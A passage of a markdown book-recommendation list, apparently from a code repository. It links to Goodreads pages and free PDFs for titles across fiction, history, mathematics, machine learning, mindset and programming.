(1957)](https://www.goodreads.com/book/show/662.Atlas_Shrugged?ac=1&from_search=true&qid=SF9r0WrtNA&rank=1) - [📕 Doctor zhivago (1957)](https://www.goodreads.com/book/show/130440.Doctor_Zhivago) - [📕 Flowers for algernon (1959)](https://my.mindnode.com/HnYCLfb3q3xZCVswbafBfoMeDKngVCT1jaa8vYyh) - [📕 Catch-22 (1961)](https://www.goodreads.com/book/show/168668.Catch_22) - [📕 Pale fire (1962)](https://www.goodreads.com/book/show/7805.Pale_Fire) - [📕 Island (1962)](https://www.goodreads.com/book/show/5130.Island) - [📕 We have always lived in the castle (1962)](https://www.goodreads.com/book/show/89724.We_Have_Always_Lived_in_the_Castle) - [📕 One day in the life of ivan denisovich (1962)](https://www.goodreads.com/book/show/17125.One_Day_in_the_Life_of_Ivan_Denisovich) - [📕 Monday begins on saturday (1964)](https://www.goodreads.com/review/show/742548546) - [📕 Dune (1965)](https://www.goodreads.com/book/show/234225.Dune) - [📕 Stoner (1965)](https://www.goodreads.com/book/show/166997.Stoner) - [📕 Master and margarita (1967)](https://www.goodreads.com/book/show/117833.The_Master_and_Margarita) - [📕 One hundred years of solitude (1967)](https://www.goodreads.com/book/show/320.One_Hundred_Years_of_Solitude) - [📕 Slaughterhouse five (1969)](https://www.goodreads.com/book/show/4981.Slaughterhouse_Five) - [📕 Roadside picnic (1972)](https://www.goodreads.com/book/show/331256.Roadside_Picnic) - [📕 Augustus (1972)](https://www.goodreads.com/book/show/89231.Augustus) - [📕 The forever war (1974)](https://www.goodreads.com/book/show/21611.The_Forever_War) - [📕 The shining (1977)](https://www.goodreads.com/book/show/11588.The_Shining) - [📕 1978: hitchhikers guide to the galaxy](https://www.goodreads.com/series/40957-hitchhiker-s-guide-to-the-galaxy) - [📕 The soul of new machine (1981)](https://www.goodreads.com/book/show/7090.The_Soul_of_a_New_Machine) - [📕 The wasp factory (1984)](https://www.goodreads.com/book/show/567678.The_Wasp_Factory) - [📕 Blood meridian (1985)](https://www.goodreads.com/book/show/394535.Blood_Meridian_or_the_Evening_Redness_in_the_West) - [📕 The silence of the lambs (1988)](https://www.goodreads.com/book/show/23807.The_Silence_of_the_Lambs) - [📕 Geek love (1989)](https://www.goodreads.com/book/show/13872.Geek_Love) - [📕 The remains of the day (1989)](https://www.goodreads.com/book/show/28921.The_Remains_of_the_Day) - [📕 The story of B: an adventure of the mind and spirit (1996)](https://www.goodreads.com/book/show/214579.The_Story_of_B) - [📕 Infinite jest (1996)](https://www.goodreads.com/book/show/6759.Infinite_Jest) - [📕 The perks of being a wallflower (1999)](https://www.goodreads.com/book/show/22628.The_Perks_of_Being_a_Wallflower) - [📕 Cryptonomicon (1999)](https://www.goodreads.com/book/show/816.Cryptonomicon) - [📕 House of leaves (2000)](https://www.goodreads.com/book/show/24800.House_of_Leaves) - [📕 The Bug (2003)](https://www.goodreads.com/book/show/138805.The_Bug) - [📕 The road (2006)](https://www.goodreads.com/book/show/6288.The_Road) - [📖 The metamorphosis of prime intellect (2007)](http://localroger.com/prime-intellect/mopiidx.html) - [📕 The passage (2010)](https://www.goodreads.com/series/53226-the-passage) - [📖 Harry potter and the methods of rationality (2015)](http://www.hpmor.com/wordpress/wp-content/uploads/2012/03/Harry-Potter-and-the-Methods-of-Rationality.pdf) - [📖 Unsong (2017)](http://unsongbook.com/) ### Adventure - [📕 The count of monte cristo (1844)](https://www.goodreads.com/book/show/7126.The_Count_of_Monte_Cristo) ### Comedy - [📕 A confederacy of dunces (1980)](https://www.goodreads.com/book/show/310612.A_Confederacy_of_Dunces) ### Fantasy - [📕 The stand (1978)](https://www.goodreads.com/book/show/149267.The_Stand) - [📕 American gods (2001)](https://www.goodreads.com/book/show/30165203-american-gods) - [📕 The night circus (2011)](https://www.goodreads.com/book/show/9361589-the-night-circus) #### Fantasy series - [📕 A song of ice and fire](https://www.goodreads.com/series/43790-a-song-of-ice-and-fire) - [📕 The stormlight archive](https://www.goodreads.com/series/49075-the-stormlight-archive) - [📕 The wheel of time](https://www.goodreads.com/series/41526-the-wheel-of-time) ### Short Stories - [📖 Alice in Wonderland (1865)](https://www.holloway.com/g/alice-in-wonderland) - [📕 Ficciones (1941-1956)](https://www.goodreads.com/book/show/426504.Ficciones) - [📕 The little prince (1943)](https://www.goodreads.com/book/show/157993.The_Little_Prince) - [📖 The last question (1956)](https://www.goodreads.com/book/show/4808763-the-last-question) - [📕 Franz kafka: the complete stories (1971)](https://www.goodreads.com/book/show/22904.The_Complete_Stories) - [📕 Understand (1991)](https://www.goodreads.com/book/show/7234685-understand) - [📕 Story of your life (1998)](https://www.goodreads.com/book/show/223380.Stories_of_Your_Life_and_Others) - [📖 The fable of the dragon-tyrant (2005)](http://www.nickbostrom.com/fable/dragon.html) ### Thriller - [📕 And then there were none (1939)](https://www.goodreads.com/book/show/16299.And_Then_There_Were_None) ## Film Making - [📕 On film making: an introduction to the craft of the director (2005)](https://www.goodreads.com/book/show/875419.On_Filmmaking) ## Finance - [📕 The richest man in babylon (1926)](https://www.goodreads.com/book/show/1052.The_Richest_Man_in_Babylon) - [📕 Rich dad poor dad (1997)](https://www.goodreads.com/book/show/69571.Rich_Dad_Poor_Dad) ## Fitness - [📕 Starting strength: basic barbell training (2005)](https://www.goodreads.com/book/show/2098799.Starting_Strength) ## Functional programming - [📕 Pearls of Functional Algorithm Design (2010)](https://www.goodreads.com/book/show/8693802-pearls-of-functional-algorithm-design) - [📖 Mostly adequate guide to FP (in JavaScript)](https://drboolean.gitbooks.io/mostly-adequate-guide-old/content/) ## Future - [📕 The second machine age (2014)](https://www.goodreads.com/book/show/23316526-the-second-machine-age) ## Game Development - [📕 Tricks of the 3D game programming gurus-advanced 3D graphics and rasterisation (2003)](https://www.goodreads.com/book/show/2042298.Tricks_of_the_3D_Game_Programming_Gurus) - [📕 Game Engine Architecture Book (2018)](https://www.gameenginebook.com/) - [📕 Game programming patterns](http://gameprogrammingpatterns.com/) ## Graphic design - [📕 The elements of typographic style (1992)](https://www.goodreads.com/book/show/44735.The_Elements_of_Typographic_Style) - [📕 Logo design love (2015)](https://www.goodreads.com/book/show/6728983-logo-design-love) ## History - [📕 The souls of black folk (1903)](https://www.goodreads.com/book/show/318742.The_Souls_of_Black_Folk) - [📕 Gravity’s rainbow (1973)](https://www.goodreads.com/book/show/415.Gravity_s_Rainbow) - [📕 The gulag archipelago (1973)](https://www.goodreads.com/book/show/70561.The_Gulag_Archipelago_1918_1956) - [📕 American slavery, american freedom (1975)](https://www.goodreads.com/book/show/43365.American_Slavery_American_Freedom) - [📕 A people’s history of the united states (1980)](https://www.goodreads.com/book/show/2767.A_People_s_History_of_the_United_States) - [📕 Hackers: Heroes of the Computer Revolution (1984)](https://www.goodreads.com/book/show/56829.Hackers) - [📕 The making of atomic bomb (1986)](https://www.goodreads.com/book/show/16884.The_Making_of_the_Atomic_Bomb) - [📕 Lenin's tomb: the last days of the soviet empire (1993)](https://www.goodreads.com/book/show/113206.Lenin_s_Tomb) - [📕 Why the allies won (1995)](https://www.goodreads.com/book/show/831378.Why_the_Allies_Won) - [📕 Lies my teacher told me (1995)](https://www.goodreads.com/book/show/296662.Lies_My_Teacher_Told_Me) - [📕 Guns, germs, and steel: the fates of human societies (1997)](https://www.goodreads.com/book/show/1842.Guns_Germs_and_Steel) - [📕 Two hundred years together (2002)](https://www.goodreads.com/book/show/28008677-200-years-together-two-hundred-years-together?rating=2) - [📕 Masters of doom (2003)](https://www.goodreads.com/book/show/222146.Masters_of_Doom) - [📕 Stalin: the court of the red tsar (2003)](https://www.goodreads.com/book/show/282108.Stalin) - [The Third Reich trilogy (2003-2008)](https://www.goodreads.com/book/show/3761596-the-third-reich-at-war) - [📕 The coming of the third reich](https://www.goodreads.com/book/show/319473.The_Coming_of_the_Third_Reich) - [📕 The third reich in power](https://www.goodreads.com/book/show/536788.The_Third_Reich_in_Power) - [📕 The third reich at war](https://www.goodreads.com/book/show/3761596-the-third-reich-at-war) - [📕 Sapiens: a brief history of humankind (2011)](https://www.goodreads.com/book/show/23692271-sapiens) - [📕 The origins of political order (2011)](https://www.goodreads.com/book/show/9704856-the-origins-of-political-order) - [📕 The idea factory: bell labs and the great age of american innovation (2012)](https://www.goodreads.com/book/show/11797471-the-idea-factory) - [📕 Memory Machines: The Evolution of Hypertext (2013)](https://www.goodreads.com/book/show/17867988) - [📕 The sixth extinction: an unnatural history (2014)](https://www.goodreads.com/book/show/17910054-the-sixth-extinction) - [📕 Political order and political decay (2014)](https://www.goodreads.com/book/show/20575435-political-order-and-political-decay) - [📕 Conquerors: how portugal forged the first global empire (2015)](https://www.goodreads.com/book/show/25255039-conquerors) - [📕 Homo deus: a brief history of tomorrow (2015)](https://www.goodreads.com/book/show/31138556-homo-deus) - [📕 Beyond Germs: Native Depopulation in North America (2015)](https://www.goodreads.com/book/show/25362826-beyond-germs) ### Alternative history - [📕 The man in the high castle (1962)](https://www.goodreads.com/book/show/216363.The_Man_in_the_High_Castle) ## Investing - [📕 The intelligent investor (1949)](https://www.goodreads.com/book/show/106835.The_Intelligent_Investor) ## Kubernetes - [📕 Kubernetes: Up & Running (2016)](https://www.goodreads.com/book/show/26759355-kubernetes) - [📕 Getting Started with Kubernetes (2020 early-access)](https://www.manning.com/books/getting-started-with-kubernetes) - [📕 Securing Kubernetes Secrets (2021 early-access)](https://www.manning.com/books/securing-kubernetes-secrets) - [📕 Kubeflow in Action (2021 early-access)](https://www.manning.com/books/kubeflow-in-action) - [📕 Kubernetes on Windows (2021 early-access)](https://www.manning.com/books/kubernetes-on-windows) - [📕 Learn Kubernetes in a Month of Lunches (2021 early-access)](https://www.manning.com/books/learn-kubernetes-in-a-month-of-lunches) - [📕 Kubernetes in Action, Second Edition](https://www.manning.com/books/kubernetes-in-action-second-edition) - [📕 Acing the Certified Kubernetes Administrator Exam](https://www.manning.com/books/acing-the-certified-kubernetes-administrator-exam) ## Leadership - [📕 The Five Dysfunctions of a Team: A Leadership Fable (2002)](https://www.goodreads.com/book/show/21343.The_Five_Dysfunctions_of_a_Team) ## Logic - [📖 Introduction to Lambda Calculus (2000)](http://www.cse.chalmers.se/research/group/logic/TypesSS05/Extra/geuvers.pdf) - [📖 The Haskell road to logic, math and programming (2004)](https://fldit-www.cs.uni-dortmund.de/~peter/PS07/HR.pdf) - [📖 Logicomix (2008)](https://www.scribd.com/document/98921232/Bertrand-Russell-Logicomix) - [forallx: Cambridge (2017)](http://people.ds.cam.ac.uk/tecb2/forallx.shtml) - Covers both truth-functional logic and first-order logic, introducing students to semantics and to a Fitch-style natural deduction system. ## Machine learning - [📕 Paradigms of artificial intelligence programming (1991)](http://norvig.com/paip.html) - [📕 Artificial intelligence a modern approach (1994)](https://www.goodreads.com/book/show/27543.Artificial_Intelligence) - [📕 Machine learning (1997)](http://www.cs.cmu.edu/~tom/mlbook.html) - [📖 The quest for artificial intelligence - a history of ideas and achievements (2009)](http://ai.stanford.edu/~nilsson/QAI/qai.pdf) - [📕 Introduction to artificial intelligence (2011)](https://www.goodreads.com/book/show/11328752-introduction-to-artificial-intelligence) - [📕 Machine learning: a probabilistic perspective (2012)](https://www.goodreads.com/book/show/15857489-machine-learning) - [📖 The Nature of Code (2012)](http://natureofcode.com/book/) - [📕 Superintelligence: paths, dangers, strategies (2014)](https://www.goodreads.com/book/show/20527133-superintelligence) - [📖 Understanding machine learning: from theory to algorithms (2014)](http://www.cs.huji.ac.il/%7Eshais/UnderstandingMachineLearning/understanding-machine-learning-theory-algorithms.pdf) - [📖 Neural Networks and Deep Learning (2015)](http://neuralnetworksanddeeplearning.com/index.html) - [📕 Deep Larning with Python (2017)](https://www.goodreads.com/book/show/33986067-deep-learning-with-python) - [📕 Tensorflow machine learning cookbook (2017)](https://www.packtpub.com/big-data-and-business-intelligence/tensorflow-machine-learning-cookbook) - [Code](https://github.com/nfmcclure/tensorflow_cookbook) - [📕 Hands-On Machine Learning with Scikit-Learn and TensorFlow (2017)](https://www.goodreads.com/book/show/32899495-hands-on-machine-learning-with-scikit-learn-and-tensorflow) - [📕 Machine Learning with Go (2017)](https://www.packtpub.com/big-data-and-business-intelligence/machine-learning-go) - Build simple, maintainable, and easy to deploy machine learning applications. - [📖 Interpretable Machine Learning (2018)](https://christophm.github.io/interpretable-ml-book/index.html) - [📖 Deep learning](http://www.deeplearningbook.org/) - [📖 Interpretable machine learning (2018)](https://christophm.github.io/interpretable-ml-book/) - Explaining the decisions and behavior of machine learning models. - [📕 How Machine Learning Works (2019)](https://www.manning.com/books/how-machine-learning-works)- An introduction to both ML's practice and math foundations in a non-threatning approach. - [Code](https://github.com/Mostafa-Samir/How-Machine-Learning-Works) - [📕 Grokking Deep Learning (2019)](https://www.goodreads.com/book/show/31565758-grokking-deep-learning) - [📕 MachineLearningWithTensorFlow2ed (2020)](https://www.manning.com/books/machine-learning-with-tensorflow-second-edition) - Book on general purpose machine learning techniques regression, classification, unsupervised clustering, reinforcement learning, auto encoders, convolutional neural networks, RNNs, LSTMs, using TensorFlow 1.14.1. - [📕 Machine Learning Bookcamp (2020)](https://www.manning.com/books/machine-learning-bookcamp) - Project-based approach to learning machine learning. - [📕 Trust in Machine Learning (2021)](https://www.manning.com/books/trust-in-machine-learning) - Book about how to build machine learning systems that are explainable, robust, transparent, and optimized for fairness. - [📖 Distributed Machine Learning Patterns (2023)](https://github.com/terrytangyuan/distributed-ml-patterns) - Distributed machine learning system patterns. ## Management - [📕 The mythical man-month (1975)](https://www.goodreads.com/book/show/13629.The_Mythical_Man_Month) - [Notes](https://github.com/andrewwoz/the-mythical-man-month-notes) - [📕 High output management (1983)](https://www.goodreads.com/book/show/324750.High_Output_Management) - [📕 The essential drucker](https://www.goodreads.com/book/show/48016.The_Essential_Drucker) ## Math - [📖 A mathematician's apology (1940)](https://www.math.ualberta.ca/mss/misc/A%20Mathematician's%20Apology.pdf) - [📕 Handbook of mathematics (1945)](https://www.goodreads.com/book/show/1904487.Handbook_of_Mathematics) - [📕 Fantasia mathematica (1958)](https://www.goodreads.com/book/show/74703.Fantasia_Mathematica) - [📕 Gödel's proof (1958)](https://www.goodreads.com/book/show/695429.G_del_s_Proof) - [📕 Sphereland (1965)](https://www.goodreads.com/book/show/469314.Sphereland) - [📖 Topology from a differentiable viewpoint (1965)](http://www.maths.ed.ac.uk/~aar/papers/milnortop.pdf) - [📖 An introduction to commutative algebra (1969)](http://wstein.org/edu/2010/581b/books/atiyah-macdonald-introduction_to_commutative_algebra.pdf) - [📕 Mathematics made difficult (1972)](https://www.goodreads.com/book/show/3693042-mathematics-made-difficult) - [📖 A course in arithmetic (1973)](https://www.math.purdue.edu/~lipman/MA598/Serre-Course%20in%20Arithmetic.pdf) - [📖 Introductory functional analysis with applications (1978)](http://www-personal.acfr.usyd.edu.au/spns/cdm/resources/Kreyszig%20-%20Introductory%20Functional%20Analysis%20with%20Applications.pdf) - [📕 A book of abstract algebra (1982)](https://www.goodreads.com/book/show/8295305-a-book-of-abstract-algebra) - [📕 To mock a mockingbird (1985)](https://www.goodreads.com/book/show/194769.To_Mock_a_Mockingbird_and_Other_Logic_Puzzles) - [📖 Proofs and types (1989)](http://www.paultaylor.eu/stable/prot.pdf) - [📕 Primes of the Form X2 + Ny2: Fermat, Class Field Theory, and Complex Multiplication (1989)](https://www.goodreads.com/book/show/507227.Primes_of_the_Form_X2_Ny2) - [📕 Algebraic Number Theory (1992)](https://www.goodreads.com/book/show/4556825-algebraic-number-theory) - [📕 Concrete mathematics (1994)](https://www.goodreads.com/book/show/112243.Concrete_Mathematics) - [📕 How to prove it (1994)](https://www.goodreads.com/book/show/739735.How_to_Prove_It) - [📕 Linear algebra done right (1995)](https://www.goodreads.com/book/show/309768.Linear_Algebra_Done_Right) - [📕 Algebraic Curves and Riemann Surfaces (1995)](https://www.goodreads.com/book/show/1279700.Algebraic_Curves_and_Riemann_Surfaces) - [📕 Visual complex analysis (1997)](https://www.goodreads.com/book/show/149800.Visual_Complex_Analysis) - [📕 Conceptual Mathematics: A First Introduction To Categories (1997)](https://www.goodreads.com/book/show/1511125.Conceptual_Mathematics) - [📕 Geometry and the imagination (1999)](https://www.goodreads.com/book/show/719289.Geometry_and_the_Imagination) - [📕 Combinatorial Optimization: Polyhedra and Efficiency (2002)](https://www.goodreads.com/book/show/1186653.Combinatorial_Optimization) - [📖 Sets for Mathematics (2003)](http://patryshev.com/books/Sets%20for%20Mathematics.pdf) - [📕 A first course in linear algebra (2004)](http://linear.ups.edu/) - [📕 The art of problem solving (2006)](https://www.goodreads.com/book/show/2872282-the-art-of-problem-solving-volume-1) - [📕 The princeton companion to mathematics (2008)](https://www.goodreads.com/book/show/1471873.The_Princeton_Companion_to_Mathematics) - [📕 Visual group theory (2009)](https://www.goodreads.com/book/show/7629307-visual-group-theory-maa-classroom-resource-materials) - [📕 Algebra: Chapter 0 (2009)](https://www.goodreads.com/book/show/6829004) - [📕 Essentials of discrete mathematics (2009)](https://www.goodreads.com/book/show/12132668-essentials-of-discrete-mathematics) - [📕 Computational Topology: An Introduction (2010)](https://www.goodreads.com/book/show/7518301-computational-topology) - [📕 Foundations of analysis (2012)](https://www.goodreads.com/book/show/682044.Foundations_of_Mathematical_Analysis) - [📖 Homotopy type theory (2013)](https://hott.github.io/book/nightly/hott-online-1075-g3c53219.pdf) - [📖 The napkin project (2017)](https://usamo.files.wordpress.com/2017/02/napkin-2017-02-15.pdf) - [📖 Mathematics for computer science (2017)](https://courses.csail.mit.edu/6.042/spring17/mcs.pdf) - [📖 Immersive linear algebra (2017)](http://immersivemath.com/ila/index.html) - [📕 Programmer's Introduction to Mathematics (2018)](https://pimbook.org/) - [📕 Physically based rendering: from theory to implementation](http://www.pbrt.org/) - [📕 Invitation to ergodic theory](http://bookstore.ams.org/stml-42) - [📖 Abstract Algebra: Theory and Applications](http://abstract.ups.edu/download/aata-20160809-sage-7.3.pdf) - [📖 Linear algebra](http://joshua.smcvt.edu/linearalgebra/book.pdf) ## Memoirs - [📕 Walden (1854)](https://www.goodreads.com/book/show/16902.Walden) - [📕 The world of yesterday (1942)](https://www.goodreads.com/book/show/629429.The_World_of_Yesterday) - [📕 On writing (2000)](https://www.goodreads.com/book/show/10569.On_Writing) - [📕 A thousand tiny failures: memoirs of a pickup artist (2014)](https://www.goodreads.com/book/show/18711276-a-thousand-tiny-failures) ## Mindset - [📕 Tao te ching (6th century BC)](https://www.goodreads.com/book/show/67896.Tao_Te_Ching) - [📕 Meditations (161)](https://www.goodreads.com/book/show/30659.Meditations) - [📕 The Zen Teaching of Huang Po: On the Transmission of Mind (857)](https://www.goodreads.com/book/show/276779.The_Zen_Teaching_of_Huang_Po) - [📕 Siddhartha (1922)](https://www.goodreads.com/book/show/52036.Siddhartha) - [📕 How to win friends and influence people (1936)](https://www.goodreads.com/book/show/4865.How_to_Win_Friends_and_Influence_People) - [📕 Think and grow rich (1937)](https://www.goodreads.com/book/show/30186948-think-and-grow-rich) - [📕 The stranger (1942)](https://www.goodreads.com/book/show/49552.The_Stranger) - [📕 Man’s search for meaning (1946)](https://www.goodreads.com/book/show/4069.Man_s_Search_for_Meaning) - [📖 The wisdom of insecurity: a message for an age of anxiety (1951)](https://antilogicalism.files.wordpress.com/2017/07/wisdom-of-insecurity.pdf) - [📕 The first and last freedom (1954)](https://www.goodreads.com/book/show/64710.The_First_and_Last_Freedom) - [📕 The way of zen (1957)](https://www.goodreads.com/book/show/514210.The_Way_of_Zen) - [📕 The book on the taboo against knowing who you are (1966)](https://www.goodreads.com/book/show/60551.The_Book_on_the_Taboo_Against_Knowing_Who_You_Are) - [📕 Zen Mind, Beginner's Mind: Informal Talks on Zen Meditation and Practice (1970)](https://www.goodreads.com/book/show/402843.Zen_Mind_Beginner_s_Mind) - [📕 Be here now (1971)](https://www.goodreads.com/book/show/29254.Be_Here_Now) - [📕 The Way of the Bodhisattva (1971)](https://www.goodreads.com/book/show/301928.The_Way_of_the_Bodhisattva) - [📕 The inner game of tennis (1974)](https://www.goodreads.com/book/show/905.The_Inner_Game_of_Tennis) - [📕 The 7 habits of highly effective people (1989)](https://www.goodreads.com/book/show/36072.The_7_Habits_of_Highly_Effective_People) - [📕 The Zen Teaching of Bodhidharma (1989)](https://www.goodreads.com/book/show/238863.The_Zen_Teaching_of_Bodhidharma) - [📕 Peace is every step (1990)](https://www.goodreads.com/book/show/14572.Peace_Is_Every_Step) - [📖 Mindfulness in plain english (1992)](http://misc.equanimity.info/downloads/mindfulness_in_plain_english.pdf) - [📕 Mastery: the keys to success and long term fulfilment (1992)](https://www.goodreads.com/book/show/81940.Mastery) - [📕 The Four Noble Truths (1992)](https://www.goodreads.com/book/show/25103623-the-four-noble-truths) - [📕 No Ajahn Chah: Reflections (1994)](https://www.goodreads.com/book/show/1948802.No_Ajahn_Chah) - [📕 The Art of Happiness (1998)](https://www.goodreads.com/book/show/38210.The_Art_of_Happiness) - [📕 The Quantum and the Lotus (2000)](https://www.goodreads.com/book/show/222652.The_Quantum_and_the_Lotus) - [📕 Emptiness dancing (2004)](https://www.goodreads.com/book/show/190055.Emptiness_Dancing) - [📕 Mindfulness, Bliss, and Beyond: A Meditator's Handbook (2006)](https://www.goodreads.com/book/show/206625.Mindfulness_Bliss_and_Beyond) - [📕 Eating animals (2009)](https://www.goodreads.com/book/show/6604712-eating-animals) - [📕 The happiness advantage (2010)](https://www.goodreads.com/book/show/9484114-the-happiness-advantage) - [📕 Models (2011)](https://www.goodreads.com/book/show/12633800-models) - [📕 Mastery (2012)](https://www.goodreads.com/book/show/13589182-mastery) - [📕 A mind for numbers: how to excel at math and science (2014)](https://www.goodreads.com/book/show/18693655-a-mind-for-numbers) - [📕 Spaciousness: The Radical Dzogchen of the Vajra-Heart: Longchenpa's Treasury of the Dharmadhatu (2014)](https://www.goodreads.com/book/show/22783031-spaciousness) - [📕 Waking up: a guide to spirituality without religion (2014)](https://www.goodreads.com/book/show/18774981-waking-up) - [📕 Deep Work: Rules for Focused Success in a Distracted World (2016)](https://www.goodreads.com/book/show/25744928) - [📕 The Subtle Art of Not Giving a F*ck: A Counterintuitive Approach to Living a Good Life(2016)](https://www.goodreads.com/book/show/28257707-the-subtle-art-of-not-giving-a-f-ck) - [📕 The Daily Stoic: 366 Meditations for Clarity, Effectiveness, and Serenity (2016)](https://www.goodreads.com/book/show/29093292-the-daily-stoic) - [📖 Concentration and meditation](http://krishnamurti.abundanthope.org/index_htm_files/Concentration-and-Meditation.pdf) ## Minimalism - [📕 Goodbye, Things: The New Japanese Minimalism (2017)](https://www.goodreads.com/book/show/30231806-goodbye-things) ## Music production - [📕 Harmony for Computer Musicians (2010)](https://www.goodreads.com/book/show/8441567-harmony-for-computer-musicians) ## Neuroscience - [📕 The man who mistook his wife for a hat (1985)](https://www.goodreads.com/book/show/63697.The_Man_Who_Mistook_His_Wife_for_a_Hat_and_Other_Clinical_Tales) - [📕 Descartes' error (1994)](https://www.goodreads.com/book/show/103867.Descartes_Error) - [📕 The Body Electric: Electromagnetism and the Foundation of Life (1998)](https://www.goodreads.com/book/show/277641.The_Body_Electric) - [📕 Principles of neural science (2000)](https://www.goodreads.com/book/show/826396.Principles_of_Neural_Science) - [📕 Molecular basis of neuropharmacology: a foundation for clinical neuroscience (2001)](https://www.goodreads.com/book/show/818044.Molecular_Basis_of_Neuropharmacology) - [📕 Synaptic self: how our brains become who we are (2002)](https://www.goodreads.com/book/show/151132.Synaptic_Self) - [📕 The Brain That Changes Itself (2007)](https://www.goodreads.com/book/show/570172.The_Brain_That_Changes_Itself) ## Non Fiction - [📕 Homage to catalonia (1938)](https://www.goodreads.com/book/show/9646.Homage_to_Catalonia) - [📕 Into thin air (1997)](https://www.goodreads.com/book/show/1898.Into_Thin_Air) - [📕 Damned lies and statistics (2001)](https://www.goodreads.com/book/show/51289.Damned_Lies_and_Statistics) - [📕 Coders at work: reflections on the craft of programming (2009)](https://www.goodreads.com/book/show/6713575-coders-at-work) ## Nutrition - [📕 Advanced Nutrition and Human Metabolism (1995)](https://www.goodreads.com/book/show/1387387.Advanced_Nutrition_and_Human_Metabolism_With_Infotrac_) - [📕 The Poor, Misunderstood Calorie: Calories Proper (2012)](https://www.goodreads.com/book/show/15874542-the-poor-misunderstood-calorie) - [📕 Gut: The Inside Story of Our Body’s Most Underrated Organ (2014)](https://www.goodreads.com/book/show/23013953-gut) - [📕 How not to die (2015)](https://www.goodreads.com/book/show/25663961-how-not-to-die) ## Operating Systems - [📕 Operating system concepts (1983)](https://www.goodreads.com/book/show/83833.Operating_System_Concepts) - [📕 Modern operating systems (1992)](https://www.goodreads.com/book/show/166195.Modern_Operating_Systems) - [📕 Programming with Posix Threads (1993)](https://www.goodreads.com/book/show/987956.Programming_with_Posix_Threads) - [📖 An efficient implementation of fundamental operating system services (1992)](http://valerieaurora.org/synthesis/SynthesisOS/ch1.html) - [📖 Operating Systems: From 0 to 1](https://github.com/tuhdo/os01) - [📖 intermezzOS](https://intermezzos.github.io/book/second-edition/) ### iOS - [📕 iOS 10 programming fundamentals with swift (2015)](http://shop.oreilly.com/product/0636920055211.do) ### Linux - [📕 How linux works (2014)](https://www.goodreads.com/book/show/514432.How_Linux_Works) - [📖 linux-insides](https://0xax.gitbooks.io/linux-insides/content/index.html) ### MacOS - [📕 Mac OS X and IOS Internals: To the Apple's Core, Volume 1 User Mode (2015)](https://www.goodreads.com/book/show/24730644-mac-os-x-and-ios-internals) ## Philosophy - [📖 Tao of Seneca Volume 1 (1925)](https://tim.blog/wp-content/uploads/2017/07/taoofseneca_vol1-1.pdf) - [📖 Tao of Seneca Volume 2 (1925)](https://tim.blog/wp-content/uploads/2017/07/taoofseneca_vol2.pdf) - [📖 Tao of Seneca Volume 3 (1925)](https://tim.blog/wp-content/uploads/2017/07/taoofseneca_vol3.pdf) - [📕 Godel, escher, bach (1979)](https://www.goodreads.com/book/show/24113.G_del_Escher_Bach) - Explores fundamental concepts of mathematics, symmetry and intelligence and how they interlink. - [Lecture notes](https://ocw.mit.edu/high-school/humanities-and-social-sciences/godel-escher-bach/lecture-notes/) - [Course on the book](https://www.youtube.com/playlist?list=PL068ES-0ca9CSIp5OPGI5RXB3k5XgYRxF) - [Python implementation of formal systems from the book](https://github.com/alexprengere/FormalSystems) - [📕 Prometheus rising (1983)](https://www.goodreads.com/book/show/28597.Prometheus_Rising) - [📕 Finite and infinite games (1986)](https://www.goodreads.com/book/show/189989.Finite_and_Infinite_Games) - [📕 The stuff of thought (2007)](https://www.goodreads.com/book/show/373969.The_Stuff_of_Thought) ## Physics - [📕 Relativity: the special and the general theory (1916)](https://www.goodreads.com/book/show/15852.Relativity) - [📕 University physics with modern physics](https://my.mindnode.com/1M2ZVqow9pgJ95qwCH7hnwFWdRL8sDcMQqx5b3z9) - [Notes](http://web.sbu.edu/physics/courses/physics-203p.pdf) - [📕 Nonlinear dynamics and chaos (1994)](https://www.goodreads.com/book/show/116164.Nonlinear_Dynamics_and_Chaos) - [📕 Pale blue dot (1994)](https://www.goodreads.com/book/show/61663.Pale_Blue_Dot) - [📕 Black holes and time warps (1994)](https://www.goodreads.com/book/show/17362.Black_Holes_Time_Warps) - [📕 The fabric of the cosmos (2004)](https://www.goodreads.com/book/show/22435.The_Fabric_of_the_Cosmos) - [📕 Fields of colour: the theory that escaped Einstein (2010)](https://www.goodreads.com/book/show/13485212-fields-of-color) - [📕 The theoretical minimum (2013)](https://www.goodreads.com/book/show/13587145-the-theoretical-minimum) - [📖 The feynman lectures on physics (2013)](http://feynmanlectures.caltech.edu/) ## Poetry - [📕 Letters to a Young Poet (1929)](https://www.goodreads.com/book/show/46199) ## Politics - [📕 The road to serfdom (1944)](https://www.goodreads.com/book/show/299215.The_Road_to_Serfdom) - [📕 The anatomy of the state (1974)](https://www.goodreads.com/book/show/6613404-anatomy-of-the-state) - [📕 Understanding power: the indispensable chomsky (2002)](https://www.goodreads.com/book/show/194805.Understanding_Power) - [📕 The dictator's handbook: why bad behaviour is almost always good politics (2011)](https://www.goodreads.com/book/show/11612989-the-dictator-s-handbook) - [📕 The democracy project: a history, a crisis, a movement (2013)](https://www.goodreads.com/book/show/13330433-the-democracy-project) ## Programming interviews - [📕 Cracking the coding interview (2008)](https://www.goodreads.com/book/show/12544648-cracking-the-coding-interview) - [Solutions in swift](https://github.com/careercup/CtCI-6th-Edition-Swift) - [📕 Elements of programming interviews (2012)](https://www.goodreads.com/book/show/16253895-elements-of-programming-interviews) - [Solutions in Go](https://github.com/mykoweb/epi-go) - [Solutions in Python](https://github.com/akshaykumar90/sparkling-water) - [Solutions in Java](https://github.com/qtstc/Elements-of-Programming-Interviews-Java-Solution) - [solutions in c++](https://github.com/adnanaziz/epicode) ## Programming language design - [📖 Beautiful racket](http://beautifulracket.com/) ## Programming languages - [📖 Programming languages: application and interpretation (2012)](http://cs.brown.edu/courses/cs173/2012/book/book.pdf) - [📖 Crafting interpreters (2012)](http://www.craftinginterpreters.com/introduction.html) ### Assembly - [📖 Assembly language succinctly (2014)](https://www.syncfusion.com/resources/techportal/details/ebooks/assemblylanguage) ### C - [📕 The C programming language (1975)](https://www.goodreads.com/book/show/515601.The_C_Programming_Language) - [📕 21st century C (2014)](http://shop.oreilly.com/product/0636920033677.do) - [📖 Modern C (2019)](https://gforge.inria.fr/frs/download.php/latestfile/5298/ModernC.pdf) ### C++ - [📕 C++ core guidelines (2017)](https://github.com/isocpp/CppCoreGuidelines/blob/master/CppCoreGuidelines.md) - [📕 A Tour of C++ (2013)](https://www.goodreads.com/book/show/18197265-a-tour-of-c) - Very concise, updates readers with prior knowledge of C++ to modern C++11. - [📕 Beginning C++ Through Game Programming (2004)](https://www.goodreads.com/book/show/852335.Beginning_C_Through_Game_Programming) ### Clojure - [📕 